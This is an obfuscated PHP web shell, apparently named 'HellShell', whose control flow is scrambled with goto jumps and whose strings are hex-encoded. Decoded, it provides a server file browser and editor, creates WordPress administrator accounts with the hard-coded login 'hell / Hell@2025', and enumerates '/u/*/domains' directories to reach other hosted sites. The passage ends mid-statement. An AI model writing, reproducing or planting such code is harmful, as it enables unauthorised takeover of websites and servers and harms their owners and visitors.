QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto 